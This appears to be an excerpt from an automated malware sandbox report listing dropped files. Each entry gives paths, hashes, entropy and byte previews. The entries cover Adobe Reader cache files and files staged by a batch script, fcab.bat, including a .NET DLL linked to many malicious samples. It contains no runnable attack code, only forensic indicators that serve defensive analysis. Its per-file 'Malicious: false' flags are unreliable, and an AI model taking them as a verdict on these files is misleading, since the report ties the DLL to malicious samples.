SHA-256:	8553881E9F5507BF53D367894F1C807422F14187F13CCC747AF5EC184BA5F132
SHA-512:	68C47242EF43F6CC6AB337C10E158F0809E5F21BFF943A9B12574BA1CC2E6242925E52D228B6E65D38FA6E7AB8A3DE05422ED6B132E64E58B3328F23331BA462
Malicious:	false
Preview:	0\r..m......R..........._keyhttps://rna-resource.acrobat.com/static/js/plugins/uss-search/js/selector.js ...n..[/....."#.DG8..;..A.A..Eo......<dF.........8.../...;.\\o....1..........+..A..Eo..................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Code Cache\js\f941376b2efdd6e6_0

Process:	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	221
Entropy (8bit):	5.617868898043463
Encrypted:	false
SSDEEP:	6:mQZYOFLvEWdrROk/VQwtllztltJOsLmB41:nRrROk/V/1zfuN
MD5:	EDCA0B889BA86D8EA0FDE900B65FCE7C
SHA1:	D76605DBBCC8226C566E247214D4F01E8CC9703E
SHA-256:	809FD330820AC9EFF536D742D7FAE8026B6632ABC2400BB6E6622B35A675E253
SHA-512:	7A078CB033AEB62145FE7DF8AEA31DE1018445D1BEFFF128C2EB3F2D86C1444CAB2D9014AF478064C4343A9B102B54AE4201A24A1814B67A5152206DFDA05E00
Malicious:	false
Preview:	0\r..m......]......,...._keyhttps://rna-resource.acrobat.com/static/js/plugins/desktop-connector-files/js/plugin.js .S.l..[/....."#.D.:..;..A.A..Eo......A........... ./.ev......N~..6.b.....$.j;:C...A..Eo..................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Code Cache\js\f971b7eda7fa05c3_0

Process:	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	210
Entropy (8bit):	5.562030971376572
Encrypted:	false
SSDEEP:	3:m+lUV/la8RzYOCGLvHkWBGKuKjXKjcAW6KPWFvis6u9u/MktE3Xrobk9mZa6tokA:mZ/lXYOFLvEWdccAWun9u/ltYdm9741
MD5:	F78E376A75D3EF1A0C23F137965EE876
SHA1:	83B16E88AB38010653CCAC0D8D838A12A67500D5
SHA-256:	B8076DECBB6051AD73D70D768703EFDB7BFAE11638D0ADF709519E1C9001EA87
SHA-512:	20DE10BFE9BDEE850EC9814DCD037740B11A5148380ABA111D20FF2A5A63C17DAA2B81AA9ACCEDB16C27DEDBDD3628651DC525E64EE918D001EA2ED3F1CEF391
Malicious:	false
Preview:	0\r..m......R...F......._keyhttps://rna-resource.acrobat.com/static/js/plugins/scan-files/js/selector.js ..mt..[/....."#.Dx..;..A.A..Eo......>..............U...I.>P...X...x..0U.~;m.x.k.A..Eo..................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Code Cache\js\fd17b2d8331c91e8_0

Process:	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	204
Entropy (8bit):	5.554651713669504
Encrypted:	false
SSDEEP:	6:mMOYOFLvEWdwAPVufVJ9l//lta/OB6Jn1:2R16VJ9l/9MB
MD5:	BDEF0BAFB7018C8839A3A1954E37C4CD
SHA1:	8FA2FCB5C10BF293BCB0F07436EDDB1024AE98F4
SHA-256:	44671D58D4FDA1027F152FD853D7D417DB089509CE5A9944B7BAD3853CC7596D
SHA-512:	E995689FCB245A52867011B9A5CBC6CF9BF36DBBCEBF6E052F197216018B75B88DC9F9C7CFC564738AD0A86F98C563FCAEC0E5E227C7FA24C2E7268D15DB0FC1
Malicious:	false
Preview:	0\r..m......L....Ey....._keyhttps://rna-resource.acrobat.com/static/js/plugins/home/js/selector.js ...m..[/....."#.D/...;..A.A..Eo.......x.T.............k....F..D..O.n;[.1m.....=..A..Eo..................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Code Cache\js\fdd733564de6fbcb_0

Process:	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	212
Entropy (8bit):	5.664042270149457
Encrypted:	false
SSDEEP:	3:m+lUDflllla8RzYOCGLvHkWBGKuKjXKBRSJvBCvlKLuVnuf73hMktrHl4N/hcfsy:m3PXYOFLvEWdBJvYQdNltrohcsBXIh1
MD5:	021B24E2AD5FC266E9976C3E79CC7095
SHA1:	B7F017890A8D9EFFCCECC98268D7CE5492DBA4D0
SHA-256:	7634B6FE88352248E1A00D211B9342273790F75F2D3DB9B95997A7B3455E53C7
SHA-512:	3BF86ABF138CD968968FCD83D970EE22E460F22F001916B8EEF9BC802C65CA52BA033165F489FA26F316969821E7B2670D4B30D70476082FF22B5C41B6010679
Malicious:	false
Preview:	0\r..m......T......z...._keyhttps://rna-resource.acrobat.com/static/js/plugins/activity-badge/js/plugin.js ...u..[/....."#.D....;..A.A..Eo.......9.............k..`..N3.... ..d..$[.....{.A..Eo..................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Code Cache\js\febb41df4ea2b63a_0

Process:	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	228
Entropy (8bit):	5.5768809701556705
Encrypted:	false
SSDEEP:	6:msPYOFLvEWdrROk/RJUQslNqltbdllBc3Me/1:3RrROk/sjNQldllB
MD5:	1D9BDC5CD36DF8F27AF11734B78A62A9
SHA1:	AD29D46669C6596449239C6AEB317F3206A6A168
SHA-256:	2969EC4F249815A9699E06DFA69CA665819C119C5D00EBE6A381BB6155BBE9CD
SHA-512:	DFBC7228E26BA725F0AB2DEC47C976DD6EFB3C8FD0A9643E6D5F906A054085DABDBA4AF08AE1D8FEAD936D5D031F1B45758C6B1F5EA6E28171C534A74C1E839F
Malicious:	false
Preview:	0\r..m......d...<.s....._keyhttps://rna-resource.acrobat.com/static/js/plugins/desktop-connector-files-select/js/plugin.js ...l..[/....."#.D].;..A.A..Eo........$..............9Q].8O.z....=..:.N.{....N{.A..Eo..................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Code Cache\js\index-dir\temp-index

Process:	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	1080
Entropy (8bit):	5.169186397709997
Encrypted:	false
SSDEEP:	12:fKltJ9MZ9a1+/l/CX5toYLlAftIquK9ggMzBo9XRdUOxTi+/l/WIGY5E9zyDJQdT:il76ZsJafqrWMgykN4HyrvBoX
MD5:	0306B1FB9EFF9239E71C3A2CBDD0F3C4
SHA1:	1CEDDA57A79BBA581287B00BA889D473F76A2B77
SHA-256:	F493876FF0FD823B82618055F9F9C2C9C0F642C7A8D7E33EF89E55627A25E752
SHA-512:	5475C428ABE122A07DCDFC661C733B3C871F3975AB7AD097E89489344F11437F0DA80470CC99E140B4F1EA5B8CE5D0F345C2773B87970E5C089AAF48137224BF
Malicious:	false
Preview:	0....AhMoy retne....+........V................a..[/...........;.y~A...a..[/..............oB@SR..[/............#...(...A_./.............D.4...p..[/..........[.i..%...p..[/.............k7A...a..[/..........]...I......[/.........,+..._.#..a..[/.........<...W..J@SR..[/..........J..j.....p..[/...........6<\|...@SR..[/...........2q......a..[/...........P....V..a..[/.........!...0.o..p..[/............P[. q..a..[/...........3.....a..[/..........v...q....a..[/...........a....@SR..[/..........C..M.....A_./.........qi.K.L.9.....[/.........K..JM.gb.....[/.....................[/.........F..=z;...a..[/.............o...a..[/.........Gy.'.h...a..[/.........:..N.A....a..[/..........;/...a..[/..................a..[/.........A?.2:....p..[/..............q...p..[/..........u\]..q..p..[/..........o..k....p..[/.................p..[/.........^.~..z...p..[/..........+.{..'..p..[/..........@..x...p..[/.........)....J:..p..[/..........&.S......p..[/............MV3....p..[/.........

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Code Cache\js\index-dir\the-real-index (copy)

Process:	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	1080
Entropy (8bit):	5.169186397709997
Encrypted:	false
SSDEEP:	12:fKltJ9MZ9a1+/l/CX5toYLlAftIquK9ggMzBo9XRdUOxTi+/l/WIGY5E9zyDJQdT:il76ZsJafqrWMgykN4HyrvBoX
MD5:	0306B1FB9EFF9239E71C3A2CBDD0F3C4
SHA1:	1CEDDA57A79BBA581287B00BA889D473F76A2B77
SHA-256:	F493876FF0FD823B82618055F9F9C2C9C0F642C7A8D7E33EF89E55627A25E752
SHA-512:	5475C428ABE122A07DCDFC661C733B3C871F3975AB7AD097E89489344F11437F0DA80470CC99E140B4F1EA5B8CE5D0F345C2773B87970E5C089AAF48137224BF
Malicious:	false
Preview:	0....AhMoy retne....+........V................a..[/...........;.y~A...a..[/..............oB@SR..[/............#...(...A_./.............D.4...p..[/..........[.i..%...p..[/.............k7A...a..[/..........]...I......[/.........,+..._.#..a..[/.........<...W..J@SR..[/..........J..j.....p..[/...........6<\|...@SR..[/...........2q......a..[/...........P....V..a..[/.........!...0.o..p..[/............P[. q..a..[/...........3.....a..[/..........v...q....a..[/...........a....@SR..[/..........C..M.....A_./.........qi.K.L.9.....[/.........K..JM.gb.....[/.....................[/.........F..=z;...a..[/.............o...a..[/.........Gy.'.h...a..[/.........:..N.A....a..[/..........;/...a..[/..................a..[/.........A?.2:....p..[/..............q...p..[/..........u\]..q..p..[/..........o..k....p..[/.................p..[/.........^.~..z...p..[/..........+.{..'..p..[/..........@..x...p..[/.........)....J:..p..[/..........&.S......p..[/............MV3....p..[/.........

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Code Cache\js\index-dir\the-real-index~RF7003b8.TMP (copy)

Process:	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	1080
Entropy (8bit):	5.169186397709997
Encrypted:	false
SSDEEP:	12:fKltJ9MZ9a1+/l/CX5toYLlAftIquK9ggMzBo9XRdUOxTi+/l/WIGY5E9zyDJQdT:il76ZsJafqrWMgykN4HyrvBoX
MD5:	0306B1FB9EFF9239E71C3A2CBDD0F3C4
SHA1:	1CEDDA57A79BBA581287B00BA889D473F76A2B77
SHA-256:	F493876FF0FD823B82618055F9F9C2C9C0F642C7A8D7E33EF89E55627A25E752
SHA-512:	5475C428ABE122A07DCDFC661C733B3C871F3975AB7AD097E89489344F11437F0DA80470CC99E140B4F1EA5B8CE5D0F345C2773B87970E5C089AAF48137224BF
Malicious:	false
Preview:	0....AhMoy retne....+........V................a..[/...........;.y~A...a..[/..............oB@SR..[/............#...(...A_./.............D.4...p..[/..........[.i..%...p..[/.............k7A...a..[/..........]...I......[/.........,+..._.#..a..[/.........<...W..J@SR..[/..........J..j.....p..[/...........6<\|...@SR..[/...........2q......a..[/...........P....V..a..[/.........!...0.o..p..[/............P[. q..a..[/...........3.....a..[/..........v...q....a..[/...........a....@SR..[/..........C..M.....A_./.........qi.K.L.9.....[/.........K..JM.gb.....[/.....................[/.........F..=z;...a..[/.............o...a..[/.........Gy.'.h...a..[/.........:..N.A....a..[/..........;/...a..[/..................a..[/.........A?.2:....p..[/..............q...p..[/..........u\]..q..p..[/..........o..k....p..[/.................p..[/.........^.~..z...p..[/..........+.{..'..p..[/..........@..x...p..[/.........)....J:..p..[/..........&.S......p..[/............MV3....p..[/.........

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Code Cache\js\todelete_983b7a3da8f39a46_0_1 (copy)

Process:	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	208
Entropy (8bit):	5.559192133716083
Encrypted:	false
SSDEEP:	3:m+lQ/pqv8RzYOCGLvHkWBGKuKjXKX+IALKPWFvitXllsyhMktUll56mgmOZLhT79:mOEYOFLvEWdrIhuulltltU/5zgm2d/1
MD5:	FCCE2E3FD161B98A277FDCE03E8DC1A4
SHA1:	8891F89325D47905830BBCFEB3E431876B76D09C
SHA-256:	B268E760F20EA093C3D50D372CB5FBC6097AD78EB13CDE989888990FABCD9BA0
SHA-512:	64B8440E1B009281901BAE74769168E849FC89AD9254A10A21549146DDBB720EE74CE32E09743C765C8F1C70B2C6DF6A0291A4BC09D3AE8AC962A9CC5FE7C76E
Malicious:	false
Preview:	0\r..m......P....r......_keyhttps://rna-resource.acrobat.com/static/js/plugins/my-files/js/selector.js .Vsl..[/....."#.D3...;..A.A..Eo........T........Z.Z}Q..4.o....0+..[\|..n:*..U.W.A..Eo..................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Process:	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.24593160528707
Encrypted:	false
SSDEEP:	6:k7Onq2PWXp+N2nKuAl9OmbnIFUtIO8XFb9ZmwuO8XFbPkwOWXp+N2nKuAl9Ombjd:kmvaHAahFUtMB/Gb5fHAaSJ
MD5:	CAB02545BA5B1DD30269CF5C3B32314F
SHA1:	815D6D6BD97F6733503D6A4A63722BFA12A411F5
SHA-256:	153E893A11C3F5A15BE6A8653811F6A28B6473425FFC35D072C7508760E8BECF
SHA-512:	CD63FD987FF1062B425903BBC981B72D1D4693A7E3EFC00C074BA4F3286609D5ED2A729C2F22622A06DF7A62BE059532BF2922FF350A9914D1385713F50C8F51
Malicious:	false
Preview:	2023/06/01-12:14:36.953 fb4 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2023/06/01-12:14:36.962 fb4 Recovering log #3.2023/06/01-12:14:36.962 fb4 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Process:	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.24593160528707
Encrypted:	false
SSDEEP:	6:k7Onq2PWXp+N2nKuAl9OmbnIFUtIO8XFb9ZmwuO8XFbPkwOWXp+N2nKuAl9Ombjd:kmvaHAahFUtMB/Gb5fHAaSJ
MD5:	CAB02545BA5B1DD30269CF5C3B32314F
SHA1:	815D6D6BD97F6733503D6A4A63722BFA12A411F5
SHA-256:	153E893A11C3F5A15BE6A8653811F6A28B6473425FFC35D072C7508760E8BECF
SHA-512:	CD63FD987FF1062B425903BBC981B72D1D4693A7E3EFC00C074BA4F3286609D5ED2A729C2F22622A06DF7A62BE059532BF2922FF350A9914D1385713F50C8F51
Malicious:	false
Preview:	2023/06/01-12:14:36.953 fb4 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2023/06/01-12:14:36.962 fb4 Recovering log #3.2023/06/01-12:14:36.962 fb4 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old~RF6f8abf.TMP (copy)

Process:	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.24593160528707
Encrypted:	false
SSDEEP:	6:k7Onq2PWXp+N2nKuAl9OmbnIFUtIO8XFb9ZmwuO8XFbPkwOWXp+N2nKuAl9Ombjd:kmvaHAahFUtMB/Gb5fHAaSJ
MD5:	CAB02545BA5B1DD30269CF5C3B32314F
SHA1:	815D6D6BD97F6733503D6A4A63722BFA12A411F5
SHA-256:	153E893A11C3F5A15BE6A8653811F6A28B6473425FFC35D072C7508760E8BECF
SHA-512:	CD63FD987FF1062B425903BBC981B72D1D4693A7E3EFC00C074BA4F3286609D5ED2A729C2F22622A06DF7A62BE059532BF2922FF350A9914D1385713F50C8F51
Malicious:	false
Preview:	2023/06/01-12:14:36.953 fb4 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2023/06/01-12:14:36.962 fb4 Recovering log #3.2023/06/01-12:14:36.962 fb4 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Visited Links

Process:	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	131072
Entropy (8bit):	0.010978819626460943
Encrypted:	false
SSDEEP:	3:ImtVdXb+j4x9pPlXlpyPll//zVrzlltD0lGQZ7XEZhGIelHdP4/X:IiVtg4x9pdM//hFwl570ZhdelG/
MD5:	E36F8F81D3C03F6AAF7D768706B7673F
SHA1:	EECE93F9E417717892E50F6A159516DD76C255B0
SHA-256:	C6E687FF9677244574F37AD2877726DF64E5BAADDA2ABE8C4759BDE8344E44F2
SHA-512:	0582ADCFA1A09095D4482C9A61475C8B77FF444BF2655DE4F6583BBB2699A054BBB2292DE2741FEEB27AFE0835B0B48F476418EE1A666DE20CA146D1EB4390A4
Malicious:	false
Preview:	VLnk.....?.......Tq.>..j................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ConnectorIcons\icon-230601191432Z-291.bmp

Process:	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe
File Type:	PC bitmap, Windows 3.x format, 107 x -152 x 32, cbSize 65110, bits offset 54
Category:	dropped
Size (bytes):	65110
Entropy (8bit):	0.6442903166717108
Encrypted:	false
SSDEEP:	96:6JiNp29ECmTTT8dePc4lDe/quy47rHMMMT8:CyCaT8UgB3
MD5:	E0E44159B1CE64E3FBCA349002312A5A
SHA1:	3E2C1142527A78285FCBE981250E07A6FB5C94E5
SHA-256:	850CACAE25D1D93F40679BF94F801027CDB3DFDACA2CDFFBA2836EE0B19DCE44
SHA-512:	EFC5A54E1A000DD4D38AC95EFA76412A2B4EF7E94A7B4C6AC20A8656551756D3D05A0323BB29CAC47008D71024300468B9B2A735CA16A23EC6DF1CEEC856E487
Malicious:	false
Preview:	BMV.......6...(...k...h..... ...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Process:	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe
File Type:	SQLite 3.x database, last written using SQLite version 3024000, file counter 12, database pages 15, cookie 0x5, schema 4, UTF-8, version-valid-for 12
Category:	dropped
Size (bytes):	61440
Entropy (8bit):	3.564681384269021
Encrypted:	false
SSDEEP:	384:3eI9dThytELJ8fwRRwZsLRGlKhsvXh+vSc:akYZsLQhUSc
MD5:	70C5EDA9C2C083EBD31C620F48295130
SHA1:	D1D0E5C780AF5948960A1EE4F459D7859F9A10AB
SHA-256:	DE69682EDB5BB53A23DE519B068D612DB50328B69016987BA44C5635E1ECA3C6
SHA-512:	7633E26C4C4985F6092EF6DD6E94503A3DB4D9FF83AA1853F0153FC5B02AACFAF63E9FB8D0C295C1B2E8F792199F07EBB103B7D711BECFD25661C13AD6C6F9E2
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................$.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Process:	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	3.2886681294117817
Encrypted:	false
SSDEEP:	48:7M5om1CNiom5iom2om1Nom1Aiom1RROiom1oom1pom1zZiomVsiomg/qQlmFTIFz:7XNqOhfCs/N49IVXEBodRBkg
MD5:	E282D63EA2A4C99EE462E7FB8C6D9D45
SHA1:	F1D349E14319BBE50F3768FC711AD2C6E85132F5
SHA-256:	A42BA7E9A2D3B914995AA9494C840017D81B0471DB9C41FD367BC966DC0FF642
SHA-512:	594EA155A87D341CE9D2C1EAF1B4AF7A4317AD14D2BBE8172B240C713FA6E705BEC67BA2E65BE2D230D4115C88B84B61706DAD5F4B35293462AC2C50BC7166B7
Malicious:	false
Preview:	.... .c...................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................s........L.s.y................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\spilplatform\Thenceforth\Quarrelers.Cod

Process:	C:\Users\Public\fcab.bat
File Type:	ASCII text, with very long lines (63174), with no line terminators
Category:	dropped
Size (bytes):	63174
Entropy (8bit):	2.6774097576064904
Encrypted:	false
SSDEEP:	768:3YEEGqhLpa+/YcynMY2/LX+OLugY5QzfsqHeWEEtKxla+2HfoiHdGhM0RSliNkWj:P+gnaLU6nHfOhJSAk9MN8ABC0riG
MD5:	4A179C732FBA82188F2D1C207BFE228E
SHA1:	D8A88AB76074671ED11A9636DBE6012A2B61C6C1
SHA-256:	2ADE6C66A5BF036D8E9899ADE349C7A887BE41757A7004869E19A64AB2BD0B7E
SHA-512:	D6200251DC566516FFD8601153022B0E8AAAFCED83CA2A95CB3F93E12E84DDFEC2FBC48CACFE49EBF34A25D5418FDEF154D31AB008BBA878B7B21E7D98FD81EF
Malicious:	false
Preview:	003000E9004E00000041000000484800D10000606000230000575700C10000006A6A00A0A0A0001717170000005C5C00A7000000F50000004C4C000028282800A70000A70070707070707000AF00DF00AFAF00EBEB00AF0000000000F00057001F008D8D002C2C2C0000000000606060606060600000800000E7000000320000003737007A7A0000606060606000007474740000000000262600BDBD008F0000F8F80051510033330000CC0000000000E3E300B00000BA0000000303009595959500B40054545454005700F600006C0000EA004A4A000D00001B1B1B1B000039000000000000737373730000AC004100000000002B0000202020202000858500CC000017005900003D0045450000006D00FE00000005050505000055555500000098000000AC00007E006200000900003D3D004F4F000000000000D6007D7D003D00000000000043430000007F007E00F600000000000000000000000041008E8E8E8E8E8E8E006F6F0035004B000000CA002C00130000000000000000AE00006000000000EB000000E700004D4D4D00AD0000330045454545450000000500A9A9008D8D0000D4000000ED00000000003D3D000000C1C1000000000B000000CACACACACACACA0047003232004E4E00000000F300000000003D00008E8E007F000E004545454500007B009C9C9C00000003030000

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\spilplatform\Thenceforth\Troubleshooting\Egueiite240\Postpyloric6.Ann

Process:	C:\Users\Public\fcab.bat
File Type:	data
Category:	dropped
Size (bytes):	118233
Entropy (8bit):	7.710808982633477
Encrypted:	false
SSDEEP:	3072:XO5UDdjGuQqD+lhBEfDhNTWYZwhVZqBEKwib7YuX3:LDddisbaY6hVZqBLdRX3
MD5:	A7B2863D380B7FE3F8E99B4BF634B39F
SHA1:	85595D001B815501BB91996BCAE34600ABA3C36E
SHA-256:	65FE205CBE270540C6E67A3307C61EE18475062F36F8A5836B3958BD7E24F533
SHA-512:	3403955017869C8A4602441B20EDC52EC9AFC26CA6FE3891309BEF8B2A4CDD7C4D50CC2DCE667467CC72044C01F729476772FE1B83EF2F4A5CFB3940A4BF7D9B
Malicious:	false
Preview:	...............................U..].........CCC.....2.4.....<.................4.......ddddddd.......w................DDDD....ttt..........................mm......v.x..............%.......}}.u.....................8................}.K.5...................g...u.......c............b.......ff....&&.........l.....................?...............h.......!..\|......5......................................................T...4...yy.........................oo.....j..r.......V..D.....V..........................(......C..333............99..P..........******..JJ..iii.........m.$..........l..$..................................................8....ppppppp........~~~~..........QQQQ..n..M.....................[....GG.............gggggggggg..........===.6.........................C.................999......+.......222......0.y..............b.....!!..................U........[.zz..................7..................Z..........YY.......A.....\|.....M........,,..LLL.1...KK.....H......PP......O..e....J.o.L.....\|

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\spilplatform\Thenceforth\Troubleshooting\Egueiite240\SharpDX.DXGI.dll

Process:	C:\Users\Public\fcab.bat
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	88064
Entropy (8bit):	5.775805248630538
Encrypted:	false
SSDEEP:	1536:QFNovLGNuZPQtwhY4SFDivO5Ib6VU3x8sDKxq:QFNsLGNulhY4SG+xq
MD5:	0EDD7743DB76D68D2E198F137E56360C
SHA1:	76B0ACA1C410901C8399FBFDAC2AC36E80C4837C
SHA-256:	F03C45B29D8DB5C2BD9461EFB834723C2F9C84A1FED921D9577BC0511AE0B86D
SHA-512:	67716007A5771D3A45104CB0C3823EBAE58F39E91B5A8AA4653A6FD3E65162C824DF7E5944A123DA70F7739904EF46E43B7A7E1906BE95FB11CAE906673FBB58
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: zpeu.exe, Detection: malicious, Browse Filename: zpeu.exe, Detection: malicious, Browse Filename: as.ps1, Detection: malicious, Browse Filename: KwP6qU3cQ8.exe, Detection: malicious, Browse Filename: KwP6qU3cQ8.exe, Detection: malicious, Browse Filename: DB948GHBNJI.xlsx, Detection: malicious, Browse Filename: Order-new world foods.xlsx, Detection: malicious, Browse Filename: 8cAZneRN6B.exe, Detection: malicious, Browse Filename: 8cAZneRN6B.exe, Detection: malicious, Browse Filename: fr34veeTGm.exe, Detection: malicious, Browse Filename: fr34veeTGm.exe, Detection: malicious, Browse Filename: ShipmentReceipt9521368040.xlsx, Detection: malicious, Browse Filename: njUIPPVrud.exe, Detection: malicious, Browse Filename: njUIPPVrud.exe, Detection: malicious, Browse Filename: ShipmentReceipt93213628045.xlsx, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....e.O...........!.....N..........~m... ........@.. ...............................%....@.................................$m..W....................................l............................................... ............... ..H............text....M... ...N.................. ..`.rsrc................P..............@..@.reloc...............V..............@..B................`m......H........F...&...................E.......................................(......0................(....(......(....&.(...+."..(.......Z.~....(....-..s.......0..6........{.........(.....{....M........ZXM)....(.......(........0..D........{........,..o....+.~....(.....{....M........ZXM)....(.......(......0..5..........{..........(.....{....M........ZXM)....(.............0..6..........{..........{....M........ZXM)....(..........(.....*...0..:.......s.......o......(......~.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\spilplatform\Thenceforth\bn.txt

Process:	C:\Users\Public\fcab.bat
File Type:	Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	15062
Entropy (8bit):	4.039346182307332
Encrypted:	false
SSDEEP:	192:iM+g4O23sZEstg+lTr++0Mx148IiZaXTXEU10bXYc+4/rexX4:iMyc2stg+lTr++0MQ8DZRDYc+4axI
MD5:	D0E788F64268D15B4391F052B1F4B18A
SHA1:	2FD8E0A9DD22A729D578536D560354C944C7C93E
SHA-256:	216CC780E371DC318C8B15B84DE8A5EC0E28F712B3109A991C8A09CDDAA2A81A
SHA-512:	D50EA673018472C17DB44B315F4C343A2924A2EAA95C668D1160AA3830533CA37CC13C2067911A0756F1BE8C41DF45669ABE083759DCB9436F98E90CBB6AC8BF
Malicious:	false
Preview:	.;!@Lang2@!UTF-8!..; 4.46 : Team Oruddho (Fahad Mohammad Shaon, Mahmud Hassan) : http://www.oruddho.com..;..;..;..;..;..;..;..;..;..;..0..7-Zip..Bangla.........401..... ..................&.......&....&.... ................&...... .......440..&....... .... ........&...... .... .............. ......&........& .......&.............. ............... ..... .... ......?..500..&......&..................&..&.......&........&........540..&........ .....7-zip-. ........ ........... ........ .....&..........&............. ...

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\spilplatform\Thenceforth\find-location-symbolic.svg

Process:	C:\Users\Public\fcab.bat
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	713
Entropy (8bit):	4.445408002557924
Encrypted:	false
SSDEEP:	12:TMHdPnnl/nu3tlndL9+Wlz3MQFcWUio23kRqaM8UwYOWlz2Wlzm7Wlzi5WlzsbWW:2dPnnxu3tldLklFWUi/3kRqaRUZODv7R
MD5:	9A5B1DB3C4E78A928BDB639BE46AA003
SHA1:	595D3D9C7BB646CF607923AEBC3583B48F03B426
SHA-256:	0C481D646B531DCBF2FCCE2A034CE6A202CAEEB1C17A591756CB3A08514AC9ED
SHA-512:	CA5E59B27D89651DFE89868C2D0DF63EFE64AB4B3E0E49937CFC15E84610505E2378E29D716FB803BEF74C80D99D25E93B7D5E8D7B1BE3EF905A8C910011F47F
Malicious:	false
